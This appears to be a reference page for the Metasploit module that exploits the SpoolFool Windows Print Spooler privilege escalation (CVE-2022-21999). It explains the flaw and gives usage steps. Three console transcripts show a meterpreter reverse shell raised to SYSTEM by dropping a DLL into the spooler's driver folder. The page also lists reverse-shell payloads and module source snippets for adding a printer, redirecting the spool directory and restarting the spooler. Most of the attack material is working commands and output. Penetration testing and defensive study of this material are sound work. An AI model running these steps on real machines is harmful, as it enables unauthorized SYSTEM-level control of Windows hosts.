CVE-2022-21999 SpoolFool Privesc - Metasploit
This page contains detailed information about how to use the exploit/windows/local/cve_2022_21999_spoolfool_privesc metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: CVE-2022-21999 SpoolFool Privesc
Module: exploit/windows/local/cve_2022_21999_spoolfool_privesc
Source code: modules/exploits/windows/local/cve_2022_21999_spoolfool_privesc.rb
Disclosure date: 2022-02-08
Last modification time: 2022-03-15 16:45:36 +0000
Supported architecture(s): x64
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2022-21999, CVE-2022-22718
This module is also known as SpoolFool.
The Windows Print Spooler has a privilege escalation
vulnerability that can be leveraged to achieve code
execution as SYSTEM. The SpoolDirectory, a configuration
setting that holds the path that a printer's spooled jobs
are sent to, is writable for all users, and it can be
configured via SetPrinterDataEx() provided the caller has
the PRINTER_ACCESS_ADMINISTER permission. If the
SpoolDirectory path does not exist, it will be created
once the print spooler reinitializes. Calling
SetPrinterDataEx() with the CopyFiles\ registry key will
load the dll passed in as the pData argument, meaning that
writing a dll to the SpoolDirectory location can be loaded
by the print spooler. Using a directory junction and UNC
path for the SpoolDirectory, the exploit writes a payload
to C:\Windows\System32\spool\drivers\x64\4 and loads it by
calling SetPrinterDataEx(), resulting in code execution as
SYSTEM.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Reliability:
- unreliable-session: The module isn't expected to get a shell reliably (such as only once).
Stability:
- crash-service-restarts: Module may crash the service, but the service restarts.
Side Effects:
- artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
Basic Usage
Note: To run a local exploit, make sure you are at the msf prompt.
Also, to check the session ID, use the sessions command.
msf > use exploit/windows/local/cve_2022_21999_spoolfool_privesc
msf exploit(cve_2022_21999_spoolfool_privesc) > show targets
... a list of targets ...
msf exploit(cve_2022_21999_spoolfool_privesc) > set TARGET target-id
msf exploit(cve_2022_21999_spoolfool_privesc) > show options
... show and set options ...
msf exploit(cve_2022_21999_spoolfool_privesc) > set SESSION session-id
msf exploit(cve_2022_21999_spoolfool_privesc) > exploit
Required Options
- SESSION: The session to run this module on
Knowledge Base
Vulnerable Application
The Windows Print Spooler has a privilege escalation vulnerability that can be leveraged to achieve code execution as SYSTEM.
The SpoolDirectory, a configuration setting that holds the path that
a printer's spooled jobs are sent to, is writable for all users, and it can
be configured via SetPrinterDataEx() provided the caller has the
PRINTER_ACCESS_ADMINISTER permission. If the SpoolDirectory path does not
exist, it will be created once the print spooler reinitializes.
Calling SetPrinterDataEx() with the CopyFiles\ registry key will load the
dll passed in as the pData argument, meaning that writing a dll to the SpoolDirectory
location can be loaded by the print spooler.
Using a directory junction and UNC path for the SpoolDirectory, the exploit
writes a payload to C:\Windows\System32\spool\drivers\x64\4 and loads it
by calling SetPrinterDataEx(), resulting in code execution as SYSTEM.
This has been tested on Windows 10 and Windows Server 2019.
Verification Steps
- Get a meterpreter session on the target
- Do:
use exploit/windows/local/cve_2022_21999_spoolfool_privesc - Do:
set SESSION <sess_no> - Do:
set LHOST <lhost> - Do:
set LPORT <port_no> - Do:
run - You should get a meterpreter session with SYSTEM privileges.
Options
WAIT_TIME
The time to wait for the print spooler to restart
Scenarios
Windows 10 21H2 (Build 19044.1288)
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 172.16.98.1:4444
[*] Sending stage (200262 bytes) to 172.16.98.146
[*] Meterpreter session 1 opened (172.16.98.1:4444 -> 172.16.98.146:49674 ) at 2022-03-14 09:02:21 -0500
meterpreter > getuid
Server username: DESKTOP-49N0D8H\shelbypace
meterpreter > sysinfo
Computer : DESKTOP-49N0D8H
OS : Windows 10 (10.0 Build 19044).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > use exploit/windows/local/cve_2022_21999_spoolfool_privesc
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/cve_2022_21999_spoolfool_privesc) > set lhost 172.16.98.1
lhost => 172.16.98.1
msf6 exploit(windows/local/cve_2022_21999_spoolfool_privesc) > set session 1
session => 1
msf6 exploit(windows/local/cve_2022_21999_spoolfool_privesc) > run
[*] Started reverse TCP handler on 172.16.98.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Making base directory: C:\Users\shelbypace\AppData\Local\Temp\sYOsQqHLPd
[+] Printer DZBUma was successfully added.
[*] Setting spool directory: \\localhost\C$\Users\shelbypace\AppData\Local\Temp\sYOsQqHLPd\4
[*] Creating junction point: C:\Users\shelbypace\AppData\Local\Temp\sYOsQqHLPd -> C:\Windows\System32\spool\drivers\x64
[*] Creating the spool directory by restarting spooler...
[*] Attempting to restart print spooler.
[*] Sleeping for 5 seconds.
[+] Directory was successfully created.
[*] Writing payload to C:\Windows\System32\spool\drivers\x64\4\tqDNFaf.dll.
[*] Attempting to set permissions for payload.
[*] Payload should have read / execute permissions now.
[*] Sending stage (200262 bytes) to 172.16.98.146
[*] Meterpreter session 2 opened (172.16.98.1:4444 -> 172.16.98.146:49677 ) at 2022-03-14 09:08:36 -0500
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : DESKTOP-49N0D8H
OS : Windows 10 (10.0 Build 19044).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter >
Windows 10 1709 (Build 16299)
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 172.16.98.1:4444
[*] Sending stage (200262 bytes) to 172.16.98.144
[*] Meterpreter session 1 opened (172.16.98.1:4444 -> 172.16.98.144:49671 ) at 2022-03-11 08:02:46 -0600
meterpreter > getuid
Server username: DESKTOP-EULFBD8\space
meterpreter > sysinfo
Computer : DESKTOP-EULFBD8
OS : Windows 10 (10.0 Build 16299).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > use exploit/windows/local/cve_2022_21999_spoolfool_privesc
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/cve_2022_21999_spoolfool_privesc) > set session 1
session => 1
msf6 exploit(windows/local/cve_2022_21999_spoolfool_privesc) > set lhost 172.16.98.1
lhost => 172.16.98.1
msf6 exploit(windows/local/cve_2022_21999_spoolfool_privesc) > run
[*] Started reverse TCP handler on 172.16.98.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Making base directory: C:\Users\space\AppData\Local\Temp\Xvamagt
[+] Printer ukfoJL was successfully added.
[*] Setting spool directory: \\localhost\C$\Users\space\AppData\Local\Temp\Xvamagt\4
[*] Creating junction point: C:\Users\space\AppData\Local\Temp\Xvamagt -> C:\Windows\System32\spool\drivers\x64
[*] Creating the spool directory by restarting spooler...
[*] Attempting to restart print spooler.
[*] Sleeping for 5 seconds.
[+] Directory was successfully created.
[*] Writing payload to C:\Windows\System32\spool\drivers\x64\4\UYoQz.dll.
[*] Attempting to set permissions for payload.
[*] Payload should have read / execute permissions now.
[*] Sending stage (200262 bytes) to 172.16.98.144
[*] Meterpreter session 2 opened (172.16.98.1:4444 -> 172.16.98.144:49674 ) at 2022-03-11 08:08:32 -0600
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : DESKTOP-EULFBD8
OS : Windows 10 (10.0 Build 16299).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter >
Windows Server 2019 v1809 (Build 17763.1577)
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 172.16.98.1:4444
[*] Sending stage (200262 bytes) to 172.16.98.142
[*] Meterpreter session 1 opened (172.16.98.1:4444 -> 172.16.98.142:49674 ) at 2022-03-10 16:55:26 -0600
meterpreter > getuid
Server username: WIN-VR5A12O80FQ\space
meterpreter > sysinfo
Computer : WIN-VR5A12O80FQ
OS : Windows 2016+ (10.0 Build 17763).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > use exploit/windows/local/cve_2022_21999_spoolfool_privesc
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/cve_2022_21999_spoolfool_privesc) > set session 1
session => 1
msf6 exploit(windows/local/cve_2022_21999_spoolfool_privesc) > set lhost 172.16.98.1
lhost => 172.16.98.1
msf6 exploit(windows/local/cve_2022_21999_spoolfool_privesc) > run
[*] Started reverse TCP handler on 172.16.98.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Making base directory: C:\Users\space\AppData\Local\Temp\ruXuBfgxx
[*] v4 directory already exists.
[*] Writing payload to C:\Windows\System32\spool\drivers\x64\4\dVADJcO.dll
[*] Attempting to set permissions for payload.
[*] Payload should have read / execute permissions now.
[*] Sending stage (200262 bytes) to 172.16.98.142
[*] Meterpreter session 2 opened (172.16.98.1:4444 -> 172.16.98.142:49675 ) at 2022-03-10 17:01:02 -0600
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : WIN-VR5A12O80FQ
OS : Windows 2016+ (10.0 Build 17763).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter >
Go back to menu.
Msfconsole Usage
Here is how the windows/local/cve_2022_21999_spoolfool_privesc exploit module looks in the msfconsole:
msf6 > use exploit/windows/local/cve_2022_21999_spoolfool_privesc
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/cve_2022_21999_spoolfool_privesc) > show info
Name: CVE-2022-21999 SpoolFool Privesc
Module: exploit/windows/local/cve_2022_21999_spoolfool_privesc
Platform: Windows
Arch: x64
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2022-02-08
Provided by:
Oliver Lyak
Shelby Pace
Module side effects:
artifacts-on-disk
Module stability:
crash-service-restarts
Module reliability:
unreliable-session
Available targets:
Id Name
-- ----
0 Auto
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PATH %TEMP% yes Path to hold the payload
SESSION yes The session to run this module on
WAIT_TIME 5 yes Time to wait in seconds for spooler to restart
Payload information:
Description:
The Windows Print Spooler has a privilege escalation vulnerability
that can be leveraged to achieve code execution as SYSTEM. The
`SpoolDirectory`, a configuration setting that holds the path that a
printer's spooled jobs are sent to, is writable for all users, and
it can be configured via `SetPrinterDataEx()` provided the caller
has the `PRINTER_ACCESS_ADMINISTER` permission. If the
`SpoolDirectory` path does not exist, it will be created once the
print spooler reinitializes. Calling `SetPrinterDataEx()` with the
`CopyFiles\` registry key will load the dll passed in as the `pData`
argument, meaning that writing a dll to the `SpoolDirectory`
location can be loaded by the print spooler. Using a directory
junction and UNC path for the `SpoolDirectory`, the exploit writes a
payload to `C:\Windows\System32\spool\drivers\x64\4` and loads it by
calling `SetPrinterDataEx()`, resulting in code execution as SYSTEM.
References:
https://research.ifcr.dk/spoolfool-windows-print-spooler-privilege-escalation-cve-2022-22718-bf7752b68d81
https://nvd.nist.gov/vuln/detail/CVE-2022-21999
Also known as:
SpoolFool
Module Options
This is a complete list of options available in the windows/local/cve_2022_21999_spoolfool_privesc exploit:
msf6 exploit(windows/local/cve_2022_21999_spoolfool_privesc) > show options
Module options (exploit/windows/local/cve_2022_21999_spoolfool_privesc):
Name Current Setting Required Description
---- --------------- -------- -----------
PATH %TEMP% yes Path to hold the payload
SESSION yes The session to run this module on
WAIT_TIME 5 yes Time to wait in seconds for spooler to restart
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Auto
Advanced Options
Here is a complete list of advanced options supported by the windows/local/cve_2022_21999_spoolfool_privesc exploit:
msf6 exploit(windows/local/cve_2022_21999_spoolfool_privesc) > show advanced
Module advanced options (exploit/windows/local/cve_2022_21999_spoolfool_privesc):
Name Current Setting Required Description
---- --------------- -------- -----------
AllowNoCleanup false no Allow exploitation without the possibility of cleaning up files
AutoCheck true no Run check before exploit
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
ForceExploit false no Override check result
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependMigrate true yes Spawns and runs shellcode in new process
PrependMigrateProc no Process to spawn and run shellcode in
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the windows/local/cve_2022_21999_spoolfool_privesc module can exploit:
msf6 exploit(windows/local/cve_2022_21999_spoolfool_privesc) > show targets
Exploit targets:
Id Name
-- ----
0 Auto
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the windows/local/cve_2022_21999_spoolfool_privesc exploit:
msf6 exploit(windows/local/cve_2022_21999_spoolfool_privesc) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/generic/ssh/interact normal No Interact with Established SSH Connection
4 payload/windows/x64/exec normal No Windows x64 Execute Command
5 payload/windows/x64/loadlibrary normal No Windows x64 LoadLibrary Path
6 payload/windows/x64/messagebox normal No Windows MessageBox x64
7 payload/windows/x64/meterpreter/bind_ipv6_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager
8 payload/windows/x64/meterpreter/bind_ipv6_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support
9 payload/windows/x64/meterpreter/bind_named_pipe normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager
10 payload/windows/x64/meterpreter/bind_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager
11 payload/windows/x64/meterpreter/bind_tcp_rc4 normal No Windows Meterpreter (Reflective Injection x64), Bind TCP Stager (RC4 Stage Encryption, Metasm)
12 payload/windows/x64/meterpreter/bind_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Bind TCP Stager with UUID Support (Windows x64)
13 payload/windows/x64/meterpreter/reverse_http normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
14 payload/windows/x64/meterpreter/reverse_https normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
15 payload/windows/x64/meterpreter/reverse_named_pipe normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager
16 payload/windows/x64/meterpreter/reverse_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
17 payload/windows/x64/meterpreter/reverse_tcp_rc4 normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
18 payload/windows/x64/meterpreter/reverse_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager with UUID Support (Windows x64)
19 payload/windows/x64/meterpreter/reverse_winhttp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (winhttp)
20 payload/windows/x64/meterpreter/reverse_winhttps normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTPS Stager (winhttp)
21 payload/windows/x64/meterpreter_bind_named_pipe normal No Windows Meterpreter Shell, Bind Named Pipe Inline (x64)
22 payload/windows/x64/meterpreter_bind_tcp normal No Windows Meterpreter Shell, Bind TCP Inline (x64)
23 payload/windows/x64/meterpreter_reverse_http normal No Windows Meterpreter Shell, Reverse HTTP Inline (x64)
24 payload/windows/x64/meterpreter_reverse_https normal No Windows Meterpreter Shell, Reverse HTTPS Inline (x64)
25 payload/windows/x64/meterpreter_reverse_ipv6_tcp normal No Windows Meterpreter Shell, Reverse TCP Inline (IPv6) (x64)
26 payload/windows/x64/meterpreter_reverse_tcp normal No Windows Meterpreter Shell, Reverse TCP Inline x64
27 payload/windows/x64/peinject/bind_ipv6_tcp normal No Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager
28 payload/windows/x64/peinject/bind_ipv6_tcp_uuid normal No Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager with UUID Support
29 payload/windows/x64/peinject/bind_named_pipe normal No Windows Inject Reflective PE Files, Windows x64 Bind Named Pipe Stager
30 payload/windows/x64/peinject/bind_tcp normal No Windows Inject Reflective PE Files, Windows x64 Bind TCP Stager
31 payload/windows/x64/peinject/bind_tcp_rc4 normal No Windows Inject Reflective PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)
32 payload/windows/x64/peinject/bind_tcp_uuid normal No Windows Inject Reflective PE Files, Bind TCP Stager with UUID Support (Windows x64)
33 payload/windows/x64/peinject/reverse_named_pipe normal No Windows Inject Reflective PE Files, Windows x64 Reverse Named Pipe (SMB) Stager
34 payload/windows/x64/peinject/reverse_tcp normal No Windows Inject Reflective PE Files, Windows x64 Reverse TCP Stager
35 payload/windows/x64/peinject/reverse_tcp_rc4 normal No Windows Inject Reflective PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
36 payload/windows/x64/peinject/reverse_tcp_uuid normal No Windows Inject Reflective PE Files, Reverse TCP Stager with UUID Support (Windows x64)
37 payload/windows/x64/pingback_reverse_tcp normal No Windows x64 Pingback, Reverse TCP Inline
38 payload/windows/x64/powershell_bind_tcp normal No Windows Interactive Powershell Session, Bind TCP
39 payload/windows/x64/powershell_reverse_tcp normal No Windows Interactive Powershell Session, Reverse TCP
40 payload/windows/x64/powershell_reverse_tcp_ssl normal No Windows Interactive Powershell Session, Reverse TCP SSL
41 payload/windows/x64/shell/bind_ipv6_tcp normal No Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager
42 payload/windows/x64/shell/bind_ipv6_tcp_uuid normal No Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager with UUID Support
43 payload/windows/x64/shell/bind_named_pipe normal No Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager
44 payload/windows/x64/shell/bind_tcp normal No Windows x64 Command Shell, Windows x64 Bind TCP Stager
45 payload/windows/x64/shell/bind_tcp_rc4 normal No Windows x64 Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
46 payload/windows/x64/shell/bind_tcp_uuid normal No Windows x64 Command Shell, Bind TCP Stager with UUID Support (Windows x64)
47 payload/windows/x64/shell/reverse_tcp normal No Windows x64 Command Shell, Windows x64 Reverse TCP Stager
48 payload/windows/x64/shell/reverse_tcp_rc4 normal No Windows x64 Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
49 payload/windows/x64/shell/reverse_tcp_uuid normal No Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)
50 payload/windows/x64/shell_bind_tcp normal No Windows x64 Command Shell, Bind TCP Inline
51 payload/windows/x64/shell_reverse_tcp normal No Windows x64 Command Shell, Reverse TCP Inline
52 payload/windows/x64/vncinject/bind_ipv6_tcp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager
53 payload/windows/x64/vncinject/bind_ipv6_tcp_uuid normal No Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager with UUID Support
54 payload/windows/x64/vncinject/bind_named_pipe normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Bind Named Pipe Stager
55 payload/windows/x64/vncinject/bind_tcp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Bind TCP Stager
56 payload/windows/x64/vncinject/bind_tcp_rc4 normal No Windows x64 VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
57 payload/windows/x64/vncinject/bind_tcp_uuid normal No Windows x64 VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x64)
58 payload/windows/x64/vncinject/reverse_http normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
59 payload/windows/x64/vncinject/reverse_https normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
60 payload/windows/x64/vncinject/reverse_tcp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse TCP Stager
61 payload/windows/x64/vncinject/reverse_tcp_rc4 normal No Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
62 payload/windows/x64/vncinject/reverse_tcp_uuid normal No Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support (Windows x64)
63 payload/windows/x64/vncinject/reverse_winhttp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (winhttp)
64 payload/windows/x64/vncinject/reverse_winhttps normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTPS Stager (winhttp)
Evasion Options
Here is the full list of possible evasion options supported by the windows/local/cve_2022_21999_spoolfool_privesc exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(windows/local/cve_2022_21999_spoolfool_privesc) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
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Error Messages
This module may fail with the following error messages:
Error Messages
- This module only supports Windows targets.
- Windows 7 is technically vulnerable, though it requires a reboot.
- Failed to determine bytes needed for enumerating printers.
- Failed to enumerate local printers.
- Failed to allocate strings for PRINTER_INFO_2 structure.
- Failed to create PRINTER_INFO_2 STRUCT.
- ErrorMessage
- GetLastError
- Failed to set spool directory.
- GetLastError
- Failed to terminate print spooler service.
- Failed to get payload security info.
- Failed to retrieve EXPLICIT_ACCESS structure.
- Failed to create new ACL: <GETLASTERROR>
- Failed to retrieve size of ACL structure.
- Failed to set permissions on payload.
- Failed to write payload.
- Already running as SYSTEM
- This exploit only supports x64 sessions
- Failed to open default printer.
- Driver directory not found.
- Failed to create junction point.
- The print spooler service failed to start.
- Directory was not created.
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
This module only supports Windows targets.
Here is a relevant code snippet related to the "This module only supports Windows targets." error message:
90: end
91:
92: def check
93: s_info = sysinfo['OS']
94: unless s_info =~ /windows/i
95: return CheckCode::Safe('This module only supports Windows targets.')
96: end
97:
98: _major, _minor, build, revision, _branch = file_version('C:\\Windows\\System32\\ntdll.dll')
99:
100: case s_info
Windows 7 is technically vulnerable, though it requires a reboot.
Here is a relevant code snippet related to the "Windows 7 is technically vulnerable, though it requires a reboot." error message:
97:
98: _major, _minor, build, revision, _branch = file_version('C:\\Windows\\System32\\ntdll.dll')
99:
100: case s_info
101: when /windows 7/i
102: return CheckCode::Safe('Windows 7 is technically vulnerable, though it requires a reboot.')
103: when /windows 10/i, /windows 2019\+/i, /windows 2016\+/i # 2019 gets reported as 2016 by meterpreter
104: return CheckCode::Appears if build <= 18362
105: return CheckCode::Appears if revision < 1526
106: end
107:
Failed to determine bytes needed for enumerating printers.
Here is a relevant code snippet related to the "Failed to determine bytes needed for enumerating printers." error message:
150: 8,
151: 8
152: )
153:
154: unless ret['pcbNeeded'] > 0
155: fail_with(Failure::UnexpectedReply, 'Failed to determine bytes needed for enumerating printers.')
156: end
157:
158: bytes_needed = ret['pcbNeeded']
159: ret = winspool.EnumPrintersA(
160: local_const,
Failed to enumerate local printers.
Here is a relevant code snippet related to the "Failed to enumerate local printers." error message:
164: bytes_needed,
165: 8,
166: 8
167: )
168:
169: fail_with(Failure::UnexpectedReply, 'Failed to enumerate local printers.') unless ret['return']
170: printer_struct = ret['pPrinterEnum']
171:
172: return xps if printer_struct.include?(xps)
173: return pdf if printer_struct.include?(pdf)
174: end
Failed to allocate strings for PRINTER_INFO_2 structure.
Here is a relevant code snippet related to the "Failed to allocate strings for PRINTER_INFO_2 structure." error message:
190: p_datatype = "RAW\x00"
191:
192: print_strs = "#{server_name}#{@printer_name}#{port_name}#{driver_name}#{print_proc_name}#{p_datatype}"
193: base = session.railgun.util.alloc_and_write_string(print_strs)
194:
195: fail_with(Failure::UnexpectedReply, 'Failed to allocate strings for PRINTER_INFO_2 structure.') unless base
196:
197: print_info_struct = [
198: base + print_strs.index(server_name),
199: base + print_strs.index(@printer_name), 0,
200: base + print_strs.index(port_name),
Failed to create PRINTER_INFO_2 STRUCT.
Here is a relevant code snippet related to the "Failed to create PRINTER_INFO_2 STRUCT." error message:
209: print_info_struct.pack('QQQQQQQQQQQQQLLLLLLLL')
210: end
211:
212: def add_printer
213: struct = get_printer_info_struct
214: fail_with(Failure::UnexpectedReply, 'Failed to create PRINTER_INFO_2 STRUCT.') unless struct
215:
216: ret = winspool.AddPrinterA(nil, 2, struct)
217: fail_with(Failure::UnexpectedReply, ret['ErrorMessage']) if ret['GetLastError'] != 0
218:
219: print_good("Printer #{@printer_name} was successfully added.")
ErrorMessage
Here is a relevant code snippet related to the "ErrorMessage" error message:
212: def add_printer
213: struct = get_printer_info_struct
214: fail_with(Failure::UnexpectedReply, 'Failed to create PRINTER_INFO_2 STRUCT.') unless struct
215:
216: ret = winspool.AddPrinterA(nil, 2, struct)
217: fail_with(Failure::UnexpectedReply, ret['ErrorMessage']) if ret['GetLastError'] != 0
218:
219: print_good("Printer #{@printer_name} was successfully added.")
220: ret['return']
221: end
222:
GetLastError
Here is a relevant code snippet related to the "GetLastError" error message:
222:
223: def set_spool_directory(handle, spool_dir)
224: print_status("Setting spool directory: #{spool_dir}")
225: ret = set_printer_data(handle, '\\', 'SpoolDirectory', spool_dir)
226:
227: unless ret['GetLastError'] == 0
228: fail_with(Failure::UnexpectedReply, 'Failed to set spool directory.')
229: end
230: end
231:
232: def restart_spooler(handle)
Failed to set spool directory.
Here is a relevant code snippet related to the "Failed to set spool directory." error message:
223: def set_spool_directory(handle, spool_dir)
224: print_status("Setting spool directory: #{spool_dir}")
225: ret = set_printer_data(handle, '\\', 'SpoolDirectory', spool_dir)
226:
227: unless ret['GetLastError'] == 0
228: fail_with(Failure::UnexpectedReply, 'Failed to set spool directory.')
229: end
230: end
231:
232: def restart_spooler(handle)
233: print_status('Attempting to restart print spooler.')
GetLastError
Here is a relevant code snippet related to the "GetLastError" error message:
231:
232: def restart_spooler(handle)
233: print_status('Attempting to restart print spooler.')
234: term_path = 'C:\\Windows\\System32\\AppVTerminator.dll'
235: ret = set_printer_data(handle, 'CopyFiles\\', 'Module', term_path)
236: unless ret['GetLastError'] == 0
237: fail_with(Failure::UnexpectedReply, 'Failed to terminate print spooler service.')
